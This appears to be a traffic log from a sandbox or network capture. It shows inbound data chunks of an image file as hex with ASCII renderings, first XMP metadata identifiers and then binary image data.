2022-07-20 17:31:07 UTC	6981	IN	Data Raw: 34 34 36 30 35 65 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 66 34 61 63 36 63 62 2d 34 61 35 31 2d 34 61 34 64 2d 38 64 35 65 2d 61 66 34 37 38 33 34 39 32 31 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 66 63 30 61 38 34 31 2d 65 37 62 35 2d 34 38 33 65 2d 61 63 63 38 2d 39 65 63 38 38 64 39 64 34 31 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 30 31 30 41 30 42 44 41 46 32 30 36 38 31 31 38 37 38 31 39 39 39 32 44 35 33 45 44 45 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 30 31 31 34 41 44 42 35 45 42 30 45 30 31 31 38 42 35 38 38 33 30 38 41 30 39 42 42 36 33 31 3c 2f 72 64 66 3a 6c Data Ascii: 44605e88</rdf:li> <rdf:li>xmp.did:9f4ac6cb-4a51-4a4d-8d5e-af4783492160</rdf:li> <rdf:li>xmp.did:9fc0a841-e7b5-483e-acc8-9ec88d9d4192</rdf:li> <rdf:li>xmp.did:A010A0BDAF20681187819992D53EDEF6</rdf:li> <rdf:li>xmp.did:A0114ADB5EB0E0118B588308A09BB631</rdf:l
2022-07-20 17:31:07 UTC	6988	IN	Data Raw: 41 35 45 35 46 33 44 41 39 38 32 46 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 39 45 41 31 39 32 46 32 39 32 30 36 38 31 31 38 44 42 42 38 32 44 44 36 32 32 35 39 38 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 39 45 46 42 38 44 39 42 32 32 31 36 38 31 31 38 41 36 44 45 33 32 44 43 45 37 38 35 34 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 41 30 37 45 30 43 42 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 41 30 41 39 43 34 31 30 38 32 30 36 38 31 31 38 43 31 34 41 30 45 42 30 30 45 36 39 43 45 44 3c 2f 72 64 66 3a 6c 69 3e Data Ascii: A5E5F3DA982F37</rdf:li> <rdf:li>xmp.did:A9EA192F292068118DBB82DD622598DD</rdf:li> <rdf:li>xmp.did:A9EFB8D9B22168118A6DE32DCE785405</rdf:li> <rdf:li>xmp.did:AA07E0CBFD9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:AA0A9C41082068118C14A0EB00E69CED</rdf:li>
2022-07-20 17:31:07 UTC	7004	IN	Data Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 45 31 38 44 31 38 43 30 32 30 36 38 31 31 39 32 42 30 45 41 41 32 39 36 45 36 46 42 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 46 35 39 38 46 36 30 32 32 31 36 38 31 31 39 37 41 35 38 42 32 39 34 44 35 46 39 44 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 33 30 32 35 30 32 46 39 30 32 33 36 38 31 31 39 37 41 35 42 46 45 41 32 42 33 42 37 43 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 33 31 31 45 37 45 34 34 35 32 33 45 30 31 31 41 39 44 38 42 30 35 37 33 32 44 36 41 44 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 33 33 45 36 46 37 38 41 37 37 Data Ascii: :li>xmp.did:C2E18D18C020681192B0EAA296E6FBBB</rdf:li> <rdf:li>xmp.did:C2F598F60221681197A58B294D5F9D58</rdf:li> <rdf:li>xmp.did:C302502F9023681197A5BFEA2B3B7C6A</rdf:li> <rdf:li>xmp.did:C311E7E44523E011A9D8B05732D6AD2E</rdf:li> <rdf:li>xmp.did:C33E6F78A77
2022-07-20 17:31:07 UTC	7020	IN	Data Raw: 2e 64 69 64 3a 44 37 41 31 44 38 41 30 30 37 32 30 36 38 31 31 38 32 32 41 41 37 41 33 31 39 31 35 30 39 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 37 42 39 44 39 32 44 42 34 43 32 45 30 31 31 42 45 39 36 46 45 41 42 39 35 43 34 38 33 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 37 43 30 38 46 44 45 45 31 32 33 36 38 31 31 41 39 36 31 43 45 42 33 30 36 35 44 42 34 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 37 43 34 30 30 32 34 44 35 46 44 45 32 31 31 39 39 31 44 46 34 44 38 31 45 43 43 45 43 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 37 43 44 32 30 43 36 31 33 32 30 36 38 31 31 38 46 Data Ascii: .did:D7A1D8A007206811822AA7A319150968</rdf:li> <rdf:li>xmp.did:D7B9D92DB4C2E011BE96FEAB95C483BD</rdf:li> <rdf:li>xmp.did:D7C08FDEE1236811A961CEB3065DB495</rdf:li> <rdf:li>xmp.did:D7C40024D5FDE211991DF4D81ECCEC6F</rdf:li> <rdf:li>xmp.did:D7CD20C6132068118F
2022-07-20 17:31:07 UTC	7028	IN	Data Raw: 33 30 43 34 42 32 44 43 45 38 33 31 31 45 33 39 43 42 31 41 32 30 31 46 30 43 39 32 41 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 33 33 38 42 33 37 36 35 37 45 32 45 30 31 31 38 30 38 43 44 34 42 33 46 45 35 32 46 33 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 33 34 42 44 46 33 35 33 42 32 33 36 38 31 31 38 32 32 41 44 30 37 43 37 43 43 34 33 38 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 33 34 42 45 42 35 46 32 45 32 30 36 38 31 31 38 46 36 32 45 36 32 33 42 36 45 41 36 31 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 33 35 35 33 45 46 32 31 31 32 33 44 45 31 31 42 45 41 32 43 34 42 38 Data Ascii: 30C4B2DCE8311E39CB1A201F0C92A13</rdf:li> <rdf:li>xmp.did:E338B37657E2E011808CD4B3FE52F323</rdf:li> <rdf:li>xmp.did:E34BDF353B236811822AD07C7CC438D7</rdf:li> <rdf:li>xmp.did:E34BEB5F2E2068118F62E623B6EA61F3</rdf:li> <rdf:li>xmp.did:E3553EF21123DE11BEA2C4B8
2022-07-20 17:31:07 UTC	7044	IN	Data Raw: 44 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 39 34 42 41 32 46 32 34 37 32 32 34 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 39 39 34 42 30 41 44 37 35 39 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 39 46 43 31 34 39 44 37 31 30 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 42 41 30 39 30 32 42 45 38 37 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: D5A</rdf:li> <rdf:li>xmp.did:F77F1174072068119194BA2F247224FA</rdf:li> <rdf:li>xmp.did:F77F11740720681192B0994B0AD759DE</rdf:li> <rdf:li>xmp.did:F77F11740720681192B09FC149D7107B</rdf:li> <rdf:li>xmp.did:F77F11740720681192B0BA0902BE8723</rdf:li> <rdf:li>xm
2022-07-20 17:31:07 UTC	7060	IN	Data Raw: 3a 46 45 38 44 34 44 37 35 30 37 32 30 36 38 31 31 41 39 41 34 38 44 41 39 41 36 33 31 44 33 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 39 39 38 43 42 32 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 42 36 43 32 38 46 30 43 32 30 36 38 31 31 39 30 36 36 39 39 42 39 39 33 38 30 41 41 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 42 45 42 38 35 39 41 41 32 38 36 38 31 31 42 42 42 37 41 39 32 33 41 46 38 30 39 44 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 43 45 35 36 44 37 42 34 32 30 36 38 31 31 38 43 31 34 45 43 Data Ascii: :FE8D4D7507206811A9A48DA9A631D3AD</rdf:li> <rdf:li>xmp.did:FE998CB20720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:FEB6C28F0C206811906699B99380AA9E</rdf:li> <rdf:li>xmp.did:FEBEB859AA286811BBB7A923AF809D32</rdf:li> <rdf:li>xmp.did:FECE56D7B42068118C14EC
2022-07-20 17:31:07 UTC	7065	IN	Data Raw: 62 2d 61 62 37 64 2d 64 36 38 39 37 66 61 65 30 61 63 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 37 65 36 63 31 63 38 2d 33 35 33 33 2d 65 39 34 66 2d 62 34 33 39 2d 33 38 30 35 36 36 61 34 35 63 37 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 37 65 66 38 37 65 62 2d 31 62 65 61 2d 34 66 35 35 2d 39 65 32 31 2d 66 34 35 61 33 31 31 33 64 65 62 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 38 32 65 34 37 62 33 2d 63 30 30 39 2d 38 39 34 35 2d 38 32 65 37 2d 39 62 35 38 65 61 36 65 31 30 30 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 38 33 33 38 38 36 32 2d 31 61 64 36 2d 61 35 34 61 2d 39 63 32 66 2d Data Ascii: b-ab7d-d6897fae0ac5</rdf:li> <rdf:li>xmp.did:a7e6c1c8-3533-e94f-b439-380566a45c7d</rdf:li> <rdf:li>xmp.did:a7ef87eb-1bea-4f55-9e21-f45a3113deb3</rdf:li> <rdf:li>xmp.did:a82e47b3-c009-8945-82e7-9b58ea6e100d</rdf:li> <rdf:li>xmp.did:a8338862-1ad6-a54a-9c2f-
2022-07-20 17:31:07 UTC	7081	IN	Data Raw: 64 65 2d 39 64 65 38 2d 65 33 31 64 65 66 30 65 35 34 62 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 38 33 37 66 37 37 38 2d 37 35 61 31 2d 34 30 63 63 2d 62 37 63 35 2d 34 64 31 65 30 30 35 61 66 39 64 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 38 34 31 30 32 64 61 2d 37 64 61 37 2d 34 33 36 39 2d 38 33 32 39 2d 65 37 65 62 37 31 32 66 39 65 66 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 38 35 31 39 32 62 61 2d 39 34 38 31 2d 31 32 34 63 2d 38 64 65 37 2d 37 31 65 38 30 37 37 61 37 37 66 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 38 61 66 61 38 65 31 2d 63 34 66 37 2d 34 61 64 34 2d 38 63 32 39 Data Ascii: de-9de8-e31def0e54b8</rdf:li> <rdf:li>xmp.did:d837f778-75a1-40cc-b7c5-4d1e005af9dd</rdf:li> <rdf:li>xmp.did:d84102da-7da7-4369-8329-e7eb712f9ef9</rdf:li> <rdf:li>xmp.did:d85192ba-9481-124c-8de7-71e8077a77fc</rdf:li> <rdf:li>xmp.did:d8afa8e1-c4f7-4ad4-8c29
2022-07-20 17:31:07 UTC	7097	IN	Data Raw: 1d 13 92 9f 41 19 eb 04 ef 3d 35 0b 41 7d 94 f1 41 c0 20 52 09 29 23 24 e0 88 fb f4 a4 67 61 dd af 79 6d 01 85 6a 5b 89 c0 32 49 1f 3d f5 6c 43 7b 8e f4 09 f7 14 55 b0 61 1b b1 cf 4d 5e b0 b5 15 dd d7 a4 d6 48 15 bf 50 04 83 fe ba 54 43 53 8a 4b bb 31 0a 3e a0 64 11 b6 47 8f cb 59 61 4a 3a fb 8a 6a b7 80 59 24 16 1e a8 83 fc 80 1d 35 a7 aa 5e f0 9b 8b d9 72 b6 24 29 79 11 8f 30 46 ba f5 59 de 2a a3 bf ee ad fc a1 64 3c 60 19 12 7a 63 e1 a3 ea b7 b1 76 40 69 ae 39 f1 33 91 32 7c ba 6b bd 46 76 72 f7 36 21 50 ae 57 03 d2 4f 4f 1d 4c c3 bd a7 cb 94 16 e5 61 11 9c e2 47 8a fd da ed 0f 5b db c0 6b a5 e8 26 0e 07 d7 19 13 b8 11 d3 cf 4e 51 f5 cf 22 a6 be e6 d5 67 2a 0a 87 00 8e a0 13 fc 35 2f 65 9f 8e 79 55 4f 65 78 ee 1f b8 58 ae b4 9e 0d b9 20 fd 40 7d 9a cf Data Ascii: A=5A}A R)#$gaymj[2I=lC{UaM^HPTCSK1>dGYaJ:jY$5^r$)y0FYd<`zcv@i932\|kFvr6!PWOOLaG[k&NQ"g5/eyUOexX @}
2022-07-20 17:31:07 UTC	7104	IN	Data Raw: bb 9a 8e 15 b4 92 47 16 69 9c 08 db 6d b5 06 f6 68 51 7c db dc 15 6e 05 a6 00 9e 91 be 9c 83 ad 16 d8 95 35 87 0c 18 4b 36 70 33 b0 db 5c 78 24 41 0c 4f a8 1e b1 83 3a 58 38 da 89 ae a0 43 90 a1 4a 97 83 8f 28 1d 35 d7 ab b3 18 12 b5 b5 ac 03 8b 01 c8 85 98 c0 fb 73 ac af 07 26 9d ee 2b 00 5c 9f 58 07 d5 25 b1 fd 24 ea fb 35 9d 0f 4b 4f d7 4b 81 64 67 12 48 dc 6a cb a1 ec de e6 d9 f4 56 ac e8 c6 49 27 63 e1 ad 7d 71 34 35 df fa 3b 55 ed 59 2d 3e 93 90 01 c7 db ac ef 65 cd 47 7d 8b c9 40 62 a1 4f 20 37 8f 2d 1c fb bb 4d 65 b3 db 0f cd 78 c9 e4 00 fa 7a 8c f8 f2 d3 d1 cd 53 5a 76 d4 c8 73 f5 ac 92 63 7f 1f 88 d0 c3 c0 f1 2f 6f 2a df 60 00 26 66 7c c6 bb d5 da ae aa 2c 71 63 03 04 2f a4 ce 09 9e 5b 68 f8 e0 a5 31 6e a2 ab 3d c3 04 c4 f0 69 dd 86 f1 ab ea ba Data Ascii: GimhQ\|n5K6p3\x$AO:X8CJ(5s&+\X%$5KOKdgHjVI'c}q45;UY->eG}@bO 7-MexzSZvsc/o*`&f\|,qc/[h1n=i
2022-07-20 17:31:07 UTC	7120	IN	Data Raw: 46 65 ba 7c b4 92 d6 d9 59 2c 06 ce d1 b9 39 3e 02 71 1a 36 47 4b 4f a9 1e eb 50 08 e4 e0 93 00 af 10 31 f0 d6 d6 26 31 82 d4 c3 33 02 19 60 e0 a9 df 58 97 ab 79 8b 17 95 8b 9c 90 62 07 fb a3 56 c1 b0 48 f5 80 c7 90 6b 20 62 00 00 6c 32 47 5d 4a b8 1f d6 3d 48 0b aa ab 1f 51 00 63 1a 5d 3a b3 bd ac 0d 7e eb cb d5 f4 71 04 f2 cc 4f 86 ba 52 a3 5a 29 45 e4 7d 22 49 0d 18 3b 6b 40 c7 23 8b 2c e2 8c ac 60 af 8c f8 6d 98 d1 b3 4e 56 39 75 64 0e 02 92 00 c6 66 3a 79 68 ea d9 5b ed a7 ae 5e 4a 88 3d 77 d8 63 5a 6a f5 fb b6 b8 ae b3 5d 44 83 c6 09 f1 20 fe 11 fe 7a cb 5d db ac dd 0d 2c 2b 68 76 8b 3e 92 44 1c 11 d0 6d 3a b2 e8 fc e9 28 54 27 14 82 5d 44 17 90 60 64 89 1e 7a b8 7d bb 7b 30 db 62 3c 12 ac c8 01 08 7a 0f fe 5a 96 68 7a 8a 8a ac 49 36 81 c0 02 c4 44 Data Ascii: Fe\|Y,9>q6GKOP1&13`XybVHk bl2G]J=HQc]:~qORZ)E}"I;k@#,`mNV9udf:yh[^J=wcZj]D z],+hv>Dm:(T']D`dz}{0b<zZhzI6D
2022-07-20 17:31:07 UTC	7136	IN	Data Raw: 53 61 9f a3 9f 45 b5 92 00 19 45 3c 72 79 72 f0 2b 98 d4 ed da 1c 59 55 7d ab 21 b7 88 04 8e 2c 8d b4 cf e1 1b 6b cf 36 5d ad 43 5a ad bc c7 6c fc 18 4a 92 cd 18 3d 23 5a 6c 71 ed de fe 4f 04 b0 58 cb 1c 8b ec 20 ef e7 1a 59 a7 31 e7 dd 65 86 d6 5a bd 73 98 1e 7b ed d3 47 af 2c 6f 60 ad a5 19 41 30 8d 92 09 33 8e 91 f7 69 5b 83 e4 1c 7f 4d 52 d9 5c 2f 02 d2 01 e8 62 3e 7b e8 f6 e3 97 78 f2 e2 51 9d 4d 7c 99 67 66 df 3e a9 3d 7d 3b 69 4f a3 b0 ba eb 2f 60 33 95 c4 f2 39 3d 0e bb 7e 43 18 fd d9 65 10 44 fa c3 7a b7 3e 26 76 d7 a2 72 37 86 f1 e2 c5 92 b0 72 08 93 3b 75 f1 3a cb b5 5c 37 b9 01 d3 9f 70 c1 5f d5 cb 38 82 07 d2 3c 74 77 12 05 62 48 72 58 46 e0 63 23 52 f6 52 55 ca d6 c6 67 9e 5a 26 08 1b 4f 86 b9 70 c6 33 94 46 20 2e 49 c8 c6 47 da 74 a5 d5 f0 Data Ascii: SaEE<ryr+YU}!,k6]CZlJ=#ZlqOX Y1eZs{G,o`A03i[MR\/b>{xQM\|gf>=};iO/`39=~CeDz>&vr7r;u:\7p_8<twbHrXFc#RRUgZ&Op3F .IGt
2022-07-20 17:31:07 UTC	7144	IN	Data Raw: fb 9c 91 9c 78 1d b4 65 d2 dc 11 7e 44 30 1e 80 60 c0 eb 30 74 b0 42 e5 8c 10 00 05 88 02 3d 42 34 56 72 58 b3 dc f4 b1 24 c9 00 c4 4e ad 43 15 0f ba 01 30 37 00 66 47 c3 ae a4 53 83 7b 46 00 04 f1 3d 26 0e d3 e5 ad 7b 73 10 16 85 54 64 73 04 99 20 6c 44 75 d0 c7 00 db cf d3 5c c7 a5 72 72 46 db eb 2b 1a c6 2b d4 e4 d7 50 30 e9 e9 e8 3c f3 a8 3d 63 12 c0 ae 2b 46 8e 4a 00 23 24 91 8d 74 6b da 97 67 71 79 5e 26 17 84 80 4e 08 1d 4f 9e 74 ab 18 4b 96 ad 7a 73 80 49 19 c7 cf c7 5d d9 56 29 a5 2a 0c 22 59 a5 89 18 18 8e 9f dd ac e0 b9 95 00 64 50 85 07 2e bb c4 6d e1 a7 d6 e2 e0 8a 85 01 50 05 76 3b cf a4 63 d2 3c f5 a5 ec ec 67 ba e8 92 de 94 2f 20 f9 79 f9 6b 33 8e e7 65 ec 1b d3 58 9e 4a 3f a6 3a ea 6a e1 be df 73 63 ad 8e fe a6 e2 1b 1b 48 26 4f c4 0d 76 Data Ascii: xe~D0`0tB=B4VrX$NC07fGS{F=&{sTds lDu\rrF++P0<=c+FJ#$tkgqy^&NOtKzsI]V)*"YdP.mPv;c<g/ yk3eXJ?:jscH&Ov
2022-07-20 17:31:07 UTC	7160	IN	Data Raw: 27 de 3c 40 c8 5e 87 fa 8f de 35 da 94 f6 47 b8 c8 32 55 58 05 07 10 46 30 7c b5 a4 92 a3 0d c0 92 2b ac 0e 79 e4 d1 fc 3c 35 2f 0e 25 db dd 77 b4 c3 20 58 c4 09 8c 74 f0 3d 35 9d 3d 2c b3 54 3d c8 1c 89 39 1e ae 91 cb 3b 4e 8e a9 81 e0 f0 5f 4b 90 21 17 f8 e7 49 d6 0a db 1a f7 34 d6 09 12 4b 03 89 c4 8c f9 6b a5 43 00 47 45 3c 78 72 3c 4a cf e2 f1 33 d3 5d d9 c3 64 54 7f 6d 19 55 94 f4 fa 5b 50 b4 1c 88 a8 32 34 33 b4 b9 19 26 7a 46 d8 d7 20 6e bd 6e 77 f7 18 60 4c 99 27 1b b7 f2 d7 38 74 ba 8b 8c 06 27 ea 22 77 23 af fa 6a a0 6e ee 1b db e6 c2 5b 97 c2 04 ef e3 ab 06 0a e0 a6 c5 bc 99 5f 48 0a 26 27 e7 d6 35 d6 ae b2 f1 ef 03 30 17 78 3b f2 1a d7 78 70 0b 32 b3 22 1e 36 02 18 91 b6 da ce 13 aa f6 51 8d cb 3e 2c 39 67 cc c6 d1 b6 ba b3 6d 4c 2c 4f 42 40 Data Ascii: '<@^5G2UXF0\|+y<5/%w Xt=5=,T=9;N_K!I4KkCGE<xr<J3]dTmU[P243&zF nnw`L'8t'"w#jn[_H&'50x;xp2"6Q>,9gmL,OB@
2022-07-20 17:31:07 UTC	7176	IN	Data Raw: d9 a2 b2 cf 87 7e a5 ad 0a 30 6c 71 c2 cf 0e 3a ba ac fd 41 65 f6 90 10 f3 03 e5 ff 00 b4 fd ba ef 67 36 ce e6 d4 ac 2b f1 0f cb 00 80 cd b4 09 3a 3d 6a 7a 88 58 03 35 8d f5 12 04 11 e9 9e a4 7c 36 9f 3d 0b e5 4f ec bb bb 3b 3e e9 05 20 72 5e 44 80 65 41 e8 67 c7 4a f5 d5 d0 fe e3 dd bf 73 73 5d 69 f5 a8 24 e3 d5 13 8e 31 ac fc 34 61 b9 6d 2b c4 96 27 a9 c1 18 fe 3a da 78 65 5d 51 58 30 48 16 08 66 d8 19 f1 3a ce f2 52 e1 28 6d 47 36 31 49 d9 17 ff 00 d5 1f 56 af 59 85 ba ff d6 fd b9 2d 08 5e 21 5b 88 dc 41 96 19 d6 f3 58 cc 8d 55 05 e0 29 77 c8 81 d3 e7 ac 2c 29 f6 2d ab 00 91 52 b1 c1 05 08 81 3f d5 e7 1a 52 b8 75 59 dc 20 40 ed 88 27 8c 40 63 b9 c1 eb a9 7a af 6b a5 d5 60 68 74 45 ca f2 50 bb cc ed 1a 72 32 65 76 1a 9b db 93 ca 1b 00 ce 0e c7 3a 9e b0 Data Ascii: ~0lq:Aeg6+:=jzX5\|6=O;> r^DeAgJss]i$14am+':xe]QX0Hf:R(mG61IVY-^![AXU)w,)-R?RuY @'@czk`htEPr2ev:
2022-07-20 17:31:07 UTC	7183	IN	Data Raw: 91 e6 08 3a b4 a1 68 b4 50 fc 8a c9 b0 80 c6 79 19 3d 38 f4 d0 53 ad e7 72 32 7b 7e 90 20 ff 00 74 ff 00 8e ba ef 64 80 2a c5 7d 78 00 c0 1b 98 81 89 e8 a7 51 5a 2d 5b 48 15 c2 b9 3c 48 eb f6 7f 3d 69 02 b5 2a 7a 79 da 46 fe 82 07 87 8f 97 96 b2 ad 25 56 80 25 67 83 42 01 01 5a 65 96 74 a2 58 95 aa b0 2a ba a7 15 e5 20 83 3f 1d 12 11 05 1f 88 fc cb 18 6e 40 9c 7c 75 da eb 0b 6a 4d 90 43 00 47 12 36 eb be ff 00 0d 76 8e 0c 07 36 1b 3d c8 25 c1 18 91 8c 6b b4 e4 37 9b 05 e0 6c e3 c5 49 90 30 0f 40 75 a7 5e 68 d9 85 b1 01 99 58 15 70 a3 97 9b 01 33 f7 eb bb 70 b2 ca c8 41 58 e6 a5 44 ee b8 33 31 f3 d6 33 94 ed c3 2e b6 d1 60 f6 b1 4b 6e 58 93 11 e0 3f a4 eb 4f 54 de 1d ca fa f9 32 91 1b 3f 13 c6 7f 0a 9d 5c 66 0a 6c 54 1c d9 b9 1e 30 4a 12 20 e9 42 b4 a3 4d Data Ascii: :hPy=8Sr2{~ td}xQZ-[H<H=izyF%V%gBZetX* ?n@\|ujMCG6v6=%k7lI0@u^hXp3pAXD313.`KnX?OT2?\flT0J BM
2022-07-20 17:31:07 UTC	7199	IN	Data Raw: e9 1a 9c b8 0d 6c c5 08 30 ac 4b 11 88 03 71 1a 70 3e 44 c5 54 96 1f 96 97 7d 25 96 24 11 1e 7a 36 35 8e af b8 0a e5 79 72 03 00 00 73 a3 55 a9 6c 5a c4 f2 50 7e 92 06 da 18 e6 53 67 3b 3e b6 0a ca d2 e4 75 51 27 fd 35 d8 e7 56 f6 aa 7e 5b 7a 1a 0e 06 20 6a b8 22 2c 21 e0 71 98 63 c4 8f ee f1 d2 0c 50 d5 dc cc 5d 53 92 f4 6f 21 ff 00 1d 4f 25 81 75 15 98 40 04 67 51 71 86 a1 51 90 f1 50 20 06 1b 1f 0d 39 57 c1 8d 4a 37 2b 1d 64 13 24 13 1c 9b 6e 9e 51 a7 91 9f 26 ad 49 c4 3b 64 90 7d 27 39 1b 7f 9e a6 19 6a 81 58 30 f4 b3 fa 0b 4e c0 66 40 3f 1d 0b d7 02 76 f9 fa 02 df 71 9b 81 63 ee 0c 71 03 2c bb 03 a5 7a 97 b7 fb 86 f5 9e 4b db 89 e5 51 96 e5 8f 86 af 59 13 fe e0 00 fc d9 98 4c 31 e4 ab ae d7 60 51 58 56 c2 0b 2f 22 09 88 33 e3 ac e9 0c 54 e4 8b 4f 20 Data Ascii: l0Kqp>DT}%$z65yrsUlZP~Sg;>uQ'5V~[z j",!qcP]So!O%u@gQqQP 9WJ7+d$nQ&I;d}'9jX0Nf@?vqcq,zKQYL1`QXV/"3TO
2022-07-20 17:31:07 UTC	7215	IN	Data Raw: 05 fa 7f 8e a5 85 81 6a c7 72 c0 31 e1 00 b0 4d b6 c0 8f 33 a8 9d 60 ef bf b7 a6 f3 58 56 36 5b 91 82 40 f1 27 4b 47 b4 77 6d 7a bd 36 7b 77 a0 a8 09 07 88 02 76 e3 3d 76 d7 5e 4a f0 c9 1d b4 96 9e 36 aa a0 02 33 e2 c3 e3 ab 83 a5 f6 f5 d7 6b 35 6f 21 09 83 12 0f ce 75 2f 54 f6 2a fe ce 9a c7 20 e4 55 56 22 4b 4c 98 1f 6e b4 d1 b0 9b 96 cb 2c 4a d0 fa d4 7a 96 62 47 4d b1 a4 06 0b fb aa 9e b1 66 1e 0f 12 b9 12 46 e7 e7 a9 61 40 f7 e4 30 96 24 91 99 1b 36 8e 92 71 5a 95 09 60 24 41 da 42 cb 66 57 ae 34 83 e4 48 ca f6 9b 5b 94 f1 22 23 07 8f 9e 84 b8 bd 9d 71 a5 f8 dd 24 d6 a6 22 30 79 0c ed ad 25 67 8e 17 2a 71 97 91 3f 40 11 20 fd fa 94 a0 ac b4 58 49 50 56 c0 fc 40 02 20 01 23 96 a6 34 95 45 74 35 8d fa 8b 0c 10 24 f1 d8 90 63 ae a5 e0 87 7d 35 a5 60 13 Data Ascii: jr1M3`XV6[@'KGwmz6{wv=v^J63k5o!u/T* UV"KLn,JzbGMfFa@0$6qZ`$ABfW4H["#q$"0y%g*q?@ XIPV@ #4Et5$c}5`
